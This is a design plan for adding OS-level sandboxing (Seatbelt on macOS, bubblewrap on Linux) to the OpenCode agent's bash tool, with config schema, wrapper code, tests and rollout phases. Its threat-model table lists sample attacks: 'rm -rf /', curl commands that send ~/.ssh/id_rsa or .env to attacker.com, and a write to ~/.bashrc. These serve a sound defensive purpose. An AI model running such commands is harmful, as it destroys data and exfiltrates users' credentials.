Date: Feb 6, 2026 Branch: feature/background-tasks Dependency: @anthropic-ai/sandbox-runtime (Apache-2.0, npm)
Integrate Anthropic's open-source sandbox runtime into OpenCode to provide OS-level
isolation for bash tool execution. The sandbox restricts filesystem writes, network
access, and Unix socket creation for spawned processes using native OS primitives
(macOS sandbox-exec Seatbelt profiles, Linux bubblewrap + seccomp-BPF).
This is a complementary layer to the existing permission system:
- Permissions (PermissionNext) = application-layer, advisory, ask/allow/deny
- Sandbox = OS-layer, enforced by kernel, cannot be bypassed by child processes
User prompt --> Agent loop --> BashTool.execute()
|
[Permission check (existing)]
|
[sandbox enabled?]
/ \
no / \ yes
/ \
spawn(cmd) SandboxManager.wrapWithSandbox(cmd)
|
spawn(wrappedCmd)
|
+--------+--------+
| macOS | Linux
| sandbox-exec | bubblewrap
| Seatbelt profile | --unshare-net
| localhost proxy | --unshare-pid
+--------+--------+
|
HTTP/SOCKS5 proxy (domain filtering)
cd packages/opencode
bun add @anthropic-ai/sandbox-runtime- npm:
@anthropic-ai/sandbox-runtimev0.0.34+ - Size: ~3MB unpacked (includes pre-built seccomp binaries for x64/arm64)
- License: Apache-2.0
- Zero native dependencies on macOS (sandbox-exec built into OS)
- Linux requires:
bubblewrap,socat,ripgrep(all common packages)
Add a sandbox section to the Info schema inside the experimental block:
experimental: z.object({
// ... existing fields ...
sandbox: z.object({
enabled: z.boolean().optional().default(false)
.describe("Enable OS-level sandboxing for bash commands"),
network: z.object({
allowedDomains: z.array(z.string()).optional().default([])
.describe("Domains bash can access (supports wildcards like *.github.com)"),
deniedDomains: z.array(z.string()).optional().default([])
.describe("Domains to explicitly block (checked first)"),
allowLocalBinding: z.boolean().optional().default(false)
.describe("Allow binding to local ports"),
allowUnixSockets: z.array(z.string()).optional()
.describe("macOS: specific socket paths to allow. Linux: ignored"),
allowAllUnixSockets: z.boolean().optional().default(false)
.describe("Allow all Unix socket creation"),
}).optional(),
filesystem: z.object({
denyRead: z.array(z.string()).optional().default(["~/.ssh"])
.describe("Paths to block reading (deny-only pattern)"),
allowWrite: z.array(z.string()).optional().default([".", "/tmp"])
.describe("Paths to allow writing (allow-only pattern)"),
denyWrite: z.array(z.string()).optional().default([".env"])
.describe("Paths to deny writing within allowed paths"),
}).optional(),
excludedCommands: z.array(z.string()).optional()
.describe("Commands that bypass the sandbox (e.g., 'docker')"),
allowUnsandboxedFallback: z.boolean().optional().default(true)
.describe("Allow retry outside sandbox on failure (goes through permission flow)"),
}).optional(),
}).optional(),Example user config (opencode.json):
{
"experimental": {
"sandbox": {
"enabled": true,
"network": {
"allowedDomains": [
"github.com", "*.github.com",
"npmjs.org", "*.npmjs.org",
"registry.yarnpkg.com",
"pypi.org", "files.pythonhosted.org"
]
},
"filesystem": {
"denyRead": ["~/.ssh", "~/.gnupg"],
"allowWrite": [".", "/tmp"],
"denyWrite": [".env", ".env.*", "secrets/"]
}
}
}
}New file. Thin wrapper around @anthropic-ai/sandbox-runtime:
import { SandboxManager, type SandboxRuntimeConfig } from "@anthropic-ai/sandbox-runtime"
import { Config } from "@/config/config"
import { Instance } from "@/project/instance"
import { Log } from "@/util/log"
import { Bus } from "@/bus"
export namespace Sandbox {
const log = Log.create({ service: "sandbox" })
let initialized = false
let enabled = false
export function isEnabled(): boolean {
return enabled
}
/**
* Initialize the sandbox from config. Called once during startup.
* Starts proxy servers on the host for network filtering.
*/
export async function initialize(): Promise<void> {
const config = await Config.state().then(s => s.config)
const sandboxConfig = config.experimental?.sandbox
if (!sandboxConfig?.enabled) {
log.info("sandbox disabled")
return
}
const runtimeConfig: SandboxRuntimeConfig = {
network: {
allowedDomains: sandboxConfig.network?.allowedDomains ?? [],
deniedDomains: sandboxConfig.network?.deniedDomains ?? [],
allowLocalBinding: sandboxConfig.network?.allowLocalBinding ?? false,
allowUnixSockets: sandboxConfig.network?.allowUnixSockets,
allowAllUnixSockets: sandboxConfig.network?.allowAllUnixSockets ?? false,
},
filesystem: {
denyRead: sandboxConfig.filesystem?.denyRead ?? ["~/.ssh"],
allowWrite: sandboxConfig.filesystem?.allowWrite ?? [".", "/tmp"],
denyWrite: sandboxConfig.filesystem?.denyWrite ?? [".env"],
},
}
try {
await SandboxManager.initialize(runtimeConfig)
initialized = true
enabled = true
log.info("sandbox initialized", {
allowedDomains: runtimeConfig.network.allowedDomains.length,
allowWrite: runtimeConfig.filesystem.allowWrite,
})
} catch (err) {
log.error("sandbox initialization failed, continuing without sandbox", { err })
// Don't block startup — sandbox is best-effort
}
}
/**
* Wrap a command string with sandbox restrictions.
* Returns the original command if sandbox is not enabled or if
* the command is excluded.
*/
export async function wrap(
command: string,
opts?: { excluded?: string[] }
): Promise<{ command: string; sandboxed: boolean }> {
if (!initialized || !enabled) {
return { command, sandboxed: false }
}
// Check if command matches any excluded patterns
const excluded = opts?.excluded ?? []
const firstWord = command.trim().split(/\s+/)[0]
if (excluded.some(e => firstWord === e || command.startsWith(e))) {
log.info("command excluded from sandbox", { command: firstWord })
return { command, sandboxed: false }
}
try {
const wrapped = await SandboxManager.wrapWithSandbox(command)
return { command: wrapped, sandboxed: true }
} catch (err) {
log.error("sandbox wrap failed", { err, command })
return { command, sandboxed: false }
}
}
/**
* Toggle sandbox on/off at runtime (for /sandbox command).
*/
export function toggle(): boolean {
if (!initialized) return false
enabled = !enabled
log.info("sandbox toggled", { enabled })
return enabled
}
/**
* Cleanup proxy servers and resources.
*/
export async function reset(): Promise<void> {
if (!initialized) return
try {
await SandboxManager.reset()
} catch {}
initialized = false
enabled = false
}
}Key design decisions:
- Fail-open: If sandbox init fails (missing bubblewrap, etc.), continue without it. Log warning.
- Per-command wrapping: Each bash invocation gets wrapped individually (matches Claude Code behavior).
- Excluded commands: Some commands (e.g.,
docker) may need to run outside the sandbox. - Toggle at runtime:
/sandboxcommand can turn it on/off without restart.
Minimal change. In the execute() function, after permission check and before spawn():
// --- EXISTING CODE (line ~233) ---
const shellEnv = await Plugin.trigger("shell.env", { cwd }, { env: {} })
// --- NEW: Sandbox wrapping ---
const sandboxConfig = (await import("@/config/config")).Config
.state().then(s => s.config).experimental?.sandbox
const { Sandbox } = await import("@/sandbox")
const { command: finalCommand, sandboxed } = await Sandbox.wrap(
params.command,
{ excluded: sandboxConfig?.excludedCommands },
)
const proc = spawn(sandboxed ? finalCommand : params.command, {
shell,
cwd,
env: {
...process.env,
...shellEnv.env,
},
stdio: ["ignore", "pipe", "pipe"],
detached: process.platform !== "win32",
})What changes in spawn:
- When sandboxed:
spawn(wrappedCommand, { shell: true, ... })— the wrapped command includes thesandbox-exec -p '...'orbwrap ...prefix, so it must useshell: true. - When not sandboxed: behavior is identical to current code.
- The
sandboxedboolean is added to metadata so the TUI can show a badge.
Metadata addition:
ctx.metadata({
metadata: {
output: "",
description: params.description,
callID,
running: true,
sandboxed, // NEW: tells TUI whether this command is sandboxed
},
})When a sandboxed command fails due to sandbox restrictions (exit code non-zero +
output contains "Operation not permitted" or similar), the agent can retry with
dangerouslyDisableSandbox (not a real param — we just detect the failure pattern):
// In the tool output handling, after the command exits:
if (sandboxed && proc.exitCode !== 0 && sandboxConfig?.allowUnsandboxedFallback) {
const looksLikeSandboxBlock =
output.includes("Operation not permitted") ||
output.includes("Permission denied") ||
output.includes("network unreachable")
if (looksLikeSandboxBlock) {
// Append hint to output so the agent knows it can ask the user
output += "\n\n<sandbox_hint>This command may have been blocked by the sandbox. " +
"If the command needs broader access, the user can adjust sandbox settings " +
"in opencode.json or temporarily disable the sandbox with /sandbox.</sandbox_hint>"
}
}We do NOT automatically retry outside the sandbox. The agent sees the error and can explain to the user what happened. The user can then:
- Adjust
allowedDomainsorallowWritein config - Run
/sandboxto toggle off - Add the command to
excludedCommands
{
title: sandboxEnabled() ? "Disable sandbox" : "Enable sandbox",
value: "sandbox.toggle",
slash: { name: "sandbox" },
category: "System",
onSelect: (dialog) => {
const newState = Sandbox.toggle()
toast.show({
variant: "info",
message: newState ? "Sandbox enabled" : "Sandbox disabled",
})
dialog.clear()
},
},When sandbox is enabled, show a small indicator in the session header:
<Show when={sandboxEnabled()}>
<text fg={theme.success}>sandbox</text>
</Show>When a bash command runs sandboxed, the tool output in the TUI could show a small "sandboxed" indicator next to the command description.
New bus events for observability:
// src/sandbox/events.ts
export const SandboxEvent = {
Initialized: Bus.event("sandbox.initialized", z.object({
platform: z.string(),
allowedDomains: z.number(),
allowWritePaths: z.number(),
})),
Violation: Bus.event("sandbox.violation", z.object({
command: z.string(),
type: z.enum(["filesystem", "network", "socket"]),
detail: z.string(),
})),
Toggled: Bus.event("sandbox.toggled", z.object({
enabled: z.boolean(),
})),
}On macOS, the SandboxViolationStore from the library provides real-time
violation monitoring via the system log. We can wire this into the bus for
TUI toast notifications.
Add a sandbox.config hook so plugins can modify sandbox settings:
Plugin.trigger("sandbox.config", {}, {
network: { allowedDomains: [...], deniedDomains: [...] },
filesystem: { denyRead: [...], allowWrite: [...], denyWrite: [...] },
})This allows plugins to add their own domains (e.g., a Gitea plugin could add
gitea.example.com to allowedDomains).
In the server startup sequence (src/index.ts or wherever the server boots):
// After Config.state() resolves, before accepting requests:
await Sandbox.initialize()
// On shutdown:
process.on("beforeExit", async () => {
await Sandbox.reset()
})| File | Change | Lines |
|---|---|---|
package.json |
Add @anthropic-ai/sandbox-runtime dependency |
1 |
src/sandbox/index.ts |
NEW — Sandbox manager wrapper | ~100 |
src/sandbox/events.ts |
NEW — Bus event definitions | ~25 |
src/config/config.ts |
Add sandbox to experimental schema |
~30 |
src/tool/bash.ts |
Wrap spawn command through Sandbox.wrap() | ~15 |
src/cli/cmd/tui/app.tsx |
/sandbox toggle command |
~15 |
src/cli/cmd/tui/routes/session/header.tsx |
Sandbox status badge | ~5 |
src/flag/flag.ts |
OPENCODE_SANDBOX env var flag (optional) |
~3 |
src/index.ts (or server boot) |
Sandbox.initialize() on startup |
~3 |
test/sandbox/ |
NEW — Unit + integration tests | ~200 |
packages/sdk/js/src/v2/gen/types.gen.ts |
Sandbox config type in SDK | ~10 |
Total: ~400-500 lines new code (excluding the library itself).
| Threat | Without sandbox | With sandbox |
|---|---|---|
rm -rf / |
Permission prompt (if configured) | OS blocks write outside allowed paths |
curl attacker.com -d @~/.ssh/id_rsa |
Nothing stops this | Network blocked (domain not in allowlist) + read denied for ~/.ssh |
echo 'evil' >> ~/.bashrc |
Nothing stops this | Mandatory deny path (always blocked) |
cat .env | curl attacker.com |
Nothing stops this | Network blocked + .env in denyWrite |
git push to arbitrary repo |
Nothing stops this | Only if github.com is in allowedDomains |
Write to .git/hooks/pre-commit |
Nothing stops this | Mandatory deny path |
| Agent spawns background crypto miner | Permission prompt | Network blocked, file writes restricted |
| Environment variable leak via subprocess | Full process.env inherited |
Same (sandbox doesn't filter env) — but network block prevents exfiltration |
- Environment variable leakage —
process.envstill inherited (API keys, tokens). Mitigated by network blocking (can't exfiltrate). - CPU/memory exhaustion — No cgroup/rlimit controls. A
while(true)loop will consume resources. - Read access by default — Reads are allowed everywhere except explicitly denied paths. SSH keys need explicit
denyRead. - Domain fronting — If
cdn.example.comis allowed, domain fronting through that CDN is possible. - In-process file tools —
WriteTool,EditTool,ReadTooluseBun.write()directly, not subprocesses. These are gated by the permission system only. - macOS
sandbox-execdeprecation — Apple deprecated the command but it still works and is used by Chrome and other production software.
Run via bun test (no real sandbox needed):
- Config schema parsing (valid sandbox config)
- Config schema defaults (empty config gets safe defaults)
Sandbox.wrap()returns original command when disabledSandbox.wrap()respects excluded commandsSandbox.toggle()flips stateSandbox.isEnabled()reflects state- Metadata includes
sandboxedfield
Run as standalone bun run (needs real OS sandbox):
- macOS filesystem deny:
srt "cat ~/.ssh/id_rsa"returns "Operation not permitted" - macOS filesystem allow:
srt "echo test > /tmp/sandbox-test.txt"succeeds - macOS network block:
srt "curl example.com"fails (not in allowedDomains) - macOS network allow:
srt "curl github.com"succeeds (if in allowedDomains) - macOS mandatory deny:
srt "echo bad >> .bashrc"fails - Linux: Same tests if on Linux with bubblewrap installed
- Fallback: Sandbox init failure doesn't crash (missing bubblewrap on macOS is fine)
- Toggle: Enable/disable at runtime works
- End-to-end via bash tool: Spawn a sandboxed bash command through the tool layer
Add to existing tui-smoke.ts:
/sandboxcommand appears in command palette/sandboxtoggles sandbox state (show toast)
- Phase 1: Behind flag —
experimental.sandbox.enableddefaults tofalse. Users opt in via config. - Phase 2: Prompt on first run — After stability is confirmed, show a one-time prompt asking users if they want to enable sandbox.
- Phase 3: Default on — Eventually make sandbox default-on with sensible defaults (allow project dir + /tmp writes, no network by default).
sandbox-execis built into macOS. No install needed.- Need
ripgrep(brew install ripgrep) — you already have it. - Seatbelt profiles are dynamically generated per-command.
- Violation monitoring via
log streamfor real-time alerts. - Glob patterns work in filesystem rules.
- Need:
bubblewrap,socat,ripgrep(standard packages). - Pre-built seccomp BPF filters for x64 and arm64 included in the npm package.
--unshare-netcompletely removes network stack (strongest isolation).- No glob matching in filesystem paths (literal paths only).
enableWeakerNestedSandboxavailable for Docker-in-Docker (weaker but functional).- No automatic violation monitoring (use
stracefor debugging).
- Not supported by the library. WSL2 uses Linux path. No-op on native Windows.
| Component | Dependency | Impact |
|---|---|---|
Config.state() |
Reads sandbox config | Schema addition only |
Instance.directory |
Default allowWrite path |
Read-only access |
BashTool.execute() |
Wraps spawn command | 15 lines changed |
Plugin.trigger() |
sandbox.config hook |
New hook, non-breaking |
Bus.publish() |
Sandbox events | New events, non-breaking |
Flag namespace |
Optional OPENCODE_SANDBOX flag |
New flag, non-breaking |
| TUI command system | /sandbox command |
New command, non-breaking |
| Risk | Likelihood | Impact | Mitigation |
|---|---|---|---|
| Sandbox breaks legitimate commands | Medium | Low | Fail-open + clear error messages + /sandbox toggle |
| Library compatibility with Bun | Low | Medium | Library is pure TypeScript + child_process, should work |
| Performance overhead | Very Low | Low | Sub-millisecond wrapping; proxy adds <1ms per request |
| macOS sandbox-exec removal | Very Low | High | Apple has not removed it in 10+ years; Chrome still uses it |
| Linux bubblewrap not available | Low | Low | Graceful degradation — continues without sandbox |
| User confusion about sandbox vs permissions | Medium | Low | Clear docs, toast messages, sandbox badge in TUI |